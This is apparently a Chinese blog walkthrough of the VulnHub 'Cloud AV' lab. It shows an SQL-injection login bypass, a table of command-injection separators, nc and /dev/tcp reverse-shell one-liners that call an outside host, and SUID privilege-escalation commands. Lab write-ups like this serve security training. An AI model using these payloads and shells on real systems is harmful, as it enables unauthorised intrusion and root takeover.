easy_cloudantivirus

发布时间 2023-09-27 23:03:16作者: 浮生若梦`为欢几何

靶场地址

https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

 

渗透过程

 端口扫描,发现开放 8080 端口,后端脚本使用的 Python

看到登录框,最直接的反应要么弱口令暴破,要么存在注入,

嗯,弱口令:

 当然,双引号引发了报错,也存在注入:

 所以弱口令,或者万能密码 " or 1 -- - 都可以进后台

 看这个功能,是提交一个文件名,服务器上的杀毒软件接收该参数后会执行杀毒命令,所以可能存在命令注入:

 这里正好整理一下命令注入常用的符号(不全):

cmd1 | cmd2            将cmd1的输出作为cmd2的输入
cmd1 & cmd2            先执行cmd2,再执行cmd1,且cmd1设置为后台进程
cmd1 && cmd2           cmd1执行成功才执行cmd2,否则不执行
cmd1 || cmd2           如果cmd1执行失败,则执行cmd2,在返回真的地方停止执行
cmd1 ; cmd2            顺序执行,彼此之间不关心是否失败,所有命令都会执行
cmd ;; cmd2            顺序执行,但只有在前一个命令成功时才会运行后一个命令
`cmd`                  将反引号内部的命令执行,并将其输出作为字符串返回
$(cmd)                 与反引号相同的效果

 能执行命令,接下来肯定就是反弹shell了,上个靶场用的 Python,这个当然也可以用不过我练习一下其他的:

(1)nc

nc 有 -e 参数的版本:

nc -lvnp <port>                                控制端监听端口
nc <vps_ip> <port> -e /bin/bash                被控端反向连接

nc 无 -e 参数:

nc -lvnp <port1>                          控制端监听端口1
nc -lvnp <port2>                          控制端监听端口2
nc <vps_ip> <port1> | /bin/sh | nc <vps_ip> <port2>     被控端执行

 (2)管道符 |

echo 'bash -i >& /dev/tcp/10.180.1.6/7777 0>&1'|bash    # 输出反弹 shell 的字符串作为输入发送给 bash 执行

 在当前目录的上一级目录,发现了一个源文件,简单看一下源代码:

 /usr/bin/freshclam 是 ClamAV 的病毒数据库更新工具不用管,argc 代表 C/C++ 的命令行参数的个数,代码中先判断是否参数 < 2,即有没有输入参数,没有就直接 return 了,然后就是这条命令开辟内存空间用于执行。然后有两行重要的代码,这是提权的关键。

setuid(0):这个函数会将进程的 UID 设置为 0,也就是 root 用户。这意味着该进程将以 root 用户的权限运行;

setgid(0):这个函数会将进程的 GID 设置为 0,也就是 root 组。这意味着该进程将以 root 组的权限运行。

最后直接运行命令,没有任何的过滤,所以,提权的思路就是 SUID 提权了:root 权限运行,有 s 标志位

 命令注入,提权成功:

 Linux SUID 提权

SUID 是给予程序或文件一个特殊的权限,可以让程序执行者临时拥有文件所有者的权限去执行,执行结束后权限将被回收。

SUID 提权的步骤:

1. 寻找携带 SUID 权限的文件

find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null              # /dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容
find / -user root -perm -4000 -print 2>/dev/null

 2. 使用具有SUID权限的命令结合exec进行提权

假设 find 命令具有 SUID:

find /tmp/a.txt -exec whoami \;